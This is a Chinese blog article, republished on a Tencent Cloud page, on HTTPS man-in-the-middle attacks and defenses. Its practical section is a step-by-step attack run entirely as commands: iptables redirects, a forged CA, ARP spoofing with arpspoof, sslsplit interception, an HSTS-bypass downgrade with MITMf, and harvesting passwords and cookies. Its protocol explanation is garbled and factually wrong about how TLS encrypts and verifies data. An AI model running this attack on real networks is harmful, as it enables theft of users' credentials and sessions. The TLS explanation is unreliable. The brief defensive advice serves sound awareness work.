HTTPS攻击原理与防御

本文作者 TimeS0ng , 鉴于其之前文章的数量以及质量都不错,结合之前的表现奖励 100 元,钱虽不多,聊表心意。

0x00. HTTPS 简介

超文本传输安全协议( HTTPS )是一种通过计算机网络进行安全通信的传输协议。HTTPS 经由 HTTP 进行通信,但利用 SSL/TLS 来加密数据包。 HTTPS 开发的主要目的,是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。


0x01. HTTPS 原理

1.首先是建立 TCP 的三次握手连接,连接建立之后由客户端向浏览器发起 https 连接请求。

2.连接请求成功之后,client 会发送自己所有支持的 ciphersuit ( 包括:对称加密算法、非对称加密算法、单向加密算法、伪随机数算法 )给目标 server 进行加密算法的协商,server 会选择他们俩都支持的最安全的 ciphersuit 进行加密通信。

3.然后 server 会发送自己的证书到 client( 证书用于验证 server 的身份,同时也包含了 server 的各种注册信息 )。

4.client 在接收到 server 的证书之后,会验证该证书是否是由本地根证书中所信任的颁发机构颁发的证书。证书里面会有证书颁发机构的私钥签名,只有正确的私钥才能被 client 保存的公钥解密,这就保证了证书的安全性;证书中还会存在 server 的公钥,只有拥有私钥的 server 才能解密公钥加密的内容,这就保证了后续过程的安全性。

5.验证了证书的合法性之后,client 会使用刚才协商的伪随机数算法生成对称密钥,然后将对称密钥通过 server 的公钥进行加密之后,再发送给 server 。

6.server 接收到公钥加密的内容之后,会用自己的私钥进行解密,从而获取对称密钥,此时通信双方都得到了对称密钥就可以进行加密通信了。

7.通信时 client 会先将数据用对称密钥加密,然后又进行 hash 计算,然后用 server 的公钥将得到的 hash 值进行加密,将该 hash 值和加密之后的密文发送给 server 端,发送数据过程类似hash( private_encrypt ( data ) ) + public_encrypt ( hash ) --> server

8.server 接收到 client 传来的数据包之后,会先用自己的私钥解密密文得到 hash1 ,然后用 hash1 与没有加密的 hash 进行比较,相同则代表传输的数据没有被篡改,然后再用之前协商的单向加密算法解密 hash ,用对称密钥解密密文得到 data server 发送数据过程类似:hash ( private_encrypt ( data ) ) + private_encrypt ( hash ) --> client


0x02. 攻击原理

1.首先 attacker 会对目标进行中间人攻击,从而让流量流经自己的电脑(这与 burpsuit 的原理根本就是一样的)。

2.此时 client 便会与 attacker 进行 https 加密通信,server 也会与 attacker 进行 https 加密通信。

3.虽然此时进行的是 https 通信,但是所有的 data 对于 attacker 来说都是明文的。


0x03. 攻击实战

环境准备:

kali工具:sslsplit、arpspoof 操作系统: win 7

实战步骤:

1.打开kali的数据包转发功能

echo 1 >> /proc/sys/net/ipv4/ip_forward

2.设置端口转发(将原本发过来的80、443等端口全部转发到sslsplit的代理端口)

iptables -t nat -F iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 iptables -t nat -L

3.利用 openssl 生成私钥

openssl genrsa -out ca.key 2048

4.利用私钥签名生成的证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

5.启动 arpspoof 进行中间人攻击

arpspoof -i eth0 -t 192.168.1.103 -r 192.168.1.1

6.创建 log 目录,启动 sslsplit

mkdir -p test/logdir

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

如果像 github 这种 https 配置较好的网站是会提醒用户证书错误的,最近刚出的 WPA2 漏洞里面欺骗的那个 https 网站就属于配置有误

7.剩下的就是用正则匹配出想要的账号密码或者 cookie 了

8.当然我们也能用 MITMF 对 HTTPS 做降级攻击,这样就能直接捕获明文

iptables -t nat -F

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.103 --hsts

方法多种多样,大家还可以尝试其他工具,这里就不一一列举了


0x04. 防御建议

服务端防御:

配置最安全的 https。

密码不仅要靠 https 加密传输,在前端也要使用加密控件对密码进行加密,这样就算被降级攻击也拿不到密码明文。

客户端防御:

配置路由规则,绑定 IP/MAC 以防被 ARP 欺骗。

谨慎打开浏览器提醒证书错误的网站,但是笔者曾遇到过某部门网站居然都会出现证书报错,不得已还是要打开。

少去蹭网,往往免费的东西才是最贵的。

珍爱生命,远离黑客。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-10-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Golang语言社区

Go和HTTPS--1

近期在构思一个产品,考虑到安全性的原因,可能需要使用到HTTPS协议以及双向数字证书校验。之前只是粗浅接触过HTTP(使用Golang开 发微信系列)。对HTT...

3444
来自专栏Script Boy (CN-SIMO)

Qt信号与槽自动关联机制

参考链接1:http://blog.csdn.net/skyhawk452/article/details/6121407 参考链接2:http://blog....

2231
来自专栏java一日一条

详解Https是如何确保安全的?

HTTPS(全称:Hypertext Transfer Protocol over Secure Socket Layer),是以安全为目标的HTTP通道,简单...

811
来自专栏Janti

PKI信息安全知识点详细解答包含HTTPS

1. 什么是X.509? X.509标准是ITU-T设计的PKI标准,他是为了解决X.500目录中的身份鉴别和访问控制问题设计的。 2. 数字证书 数字证书的意...

3737
来自专栏BestSDK

白话 HTTPS & SSL/TLS

iOS9苹果明确强调了操作系统的安全性,其中的做法之一则是网络请求将从默认的HTTP切换为HTTPS。本文主要描述HTTPS加密的原理和思想。 HTTPS HT...

31610
来自专栏张绍文的专栏

基于 TLS 1.3的微信安全通信协议 mmtls 介绍(上)

随着近些年网络安全事情的频繁发生,使得用户对网络通信安全的意识越来越强。国内外的网络服务提供商都逐渐提供全站的安全通信服务,如国内的淘宝、百度先后宣布已经完成了...

2.2K0
来自专栏网络

从https的演进到burpsuite抓包的漫谈

开始先抛出一下三个问题: 网站登录用户名密码明文传输,改用https协议是否能解决这个问题? 那为什么我采用https了通过burp还是可以看到明文密码? 如果...

3348
来自专栏曹丰斌的专栏

HTTPS 原理浅析及其在 Android 中的使用

本文首先分析HTTP协议在安全性上的不足,进而阐述HTTPS实现安全通信的关键技术点和原理。然后通过抓包分析HTTPS协议的握手以及通信过程。最后总结一下自己在...

3.6K0
来自专栏CDN及云技术分享

keyless原理

ssl协议是基于密码学的基础上,解决通信双方加密信道和身份鉴权的安全问题。ssl协议的算法本身是公开的,但是算法本身的输入参数(key)是由通信双方私自保存。在...

1.1K39
来自专栏苦逼的码农

【漫画】https 加密那点事

在每次发送真实数据之前,服务器先生成一把密钥,然后先把密钥传输给客户端。之后服务器给客户端发送真实数据的时候,会用这把密钥对数据进行加密,客户端收到加密数据之后...

2263

扫码关注云+社区